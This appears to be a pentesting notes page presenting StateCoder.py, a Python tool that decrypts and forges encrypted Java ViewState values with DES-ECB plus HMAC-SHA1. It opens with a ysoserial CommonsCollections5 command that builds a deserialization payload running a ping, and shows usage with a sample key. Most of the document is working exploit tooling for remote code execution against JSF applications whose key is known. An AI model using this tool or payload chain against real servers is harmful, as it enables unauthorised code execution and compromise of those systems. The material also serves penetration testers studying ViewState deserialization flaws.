ViewState Encryption / Description Tool
StateCoder.py
In order to create payload file which can be used for encryption use modified ysoserial:
java -jar ysoserial-modified.jar CommonsCollections5 cmd 'ping <IP>' > payload
Encryption:
python3 statecoder.py -e payload.file "SnNGOTg3Ni0="
Decryption:
python3 statecoder.py -d "wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D" "SnNGOTg3Ni0="
Code:
import argparse
from urllib.parse import unquote, quote
import pyDes
import base64
from Crypto.Hash import SHA, HMAC
parser = argparse.ArgumentParser(description='Tool for ViewState encryption / decryption')
parser.add_argument('value', type=str, help='In case of decoding provide value. \n In case of encoding value provide location of file with payload generated with ysoserial.')
parser.add_argument('encryption_key', type=str, help='Key from web.xml.')
parser.add_argument('-d', '--decode', action='store_true', help='ViewState decoding mode.')
parser.add_argument('-e', '--encode', action='store_true', help='Payload encoding mode.')
args = parser.parse_args()
value = args.value
encryption_key = bytes(base64.b64decode(args.encryption_key))
# mac length is always 20 bytes
mac_length = 20
print("[Provided value: " + value + "]")
# URL decode -> Base64 decode => DES decode (with ECB mode and PAD_PKC55 padding)
if args.decode == True and args.encode == False:
print("Decoding...")
# URL Decode
value = unquote(value)
# Base64 decoding serialized objectfrom web application
raw_value = base64.b64decode(value)
# Preparing decoding algorithm -> DES (ECB mode, PAD_PKC55 padding)
decryption_algo = pyDes.des(encryption_key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
# wycięcie z payloadu ostatnich 20 bitów (ostatnie 20 bitów to HMAC)
first_part = raw_value[:len(raw_value)-mac_length]
# Decrypting the part without HMAC
decrypted_value = decryption_algo.decrypt(first_part)
print()
print("Bytes post decryption:")
print(decrypted_value) # We got the serialized object
print()
# Payload encrypt => Encrypted_payload + HMAC (20 bits at the end) => base64encode => URL Encode (Optional)
elif args.decode == False and args.encode == True:
print("Encoding...")
filename = value
with open(filename, "rb") as f:
payload = f.read()
# Preparing the DES algorithm for encryption
encryption_algorithm = pyDes.des(encryption_key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
# Encoding the payload
encrypted_payload = encryption_algorithm.encrypt(payload)
# Creating the HMAC
hmac = HMAC.new(encryption_key, encrypted_payload, SHA).digest()
# Concatenating encrypted payload with HMAC signing
encrypted_viewState = encrypted_payload + hmac
# Base64 encoding
encrypted_viewState = base64.b64encode(encrypted_viewState)
# URL encoding
encrypted_viewState = quote(encrypted_viewState)
print(encrypted_viewState)
# Edge case
else:
print("Choose one option: -e (for payload endoding) or -d (for ViewState decoding).")
Last updated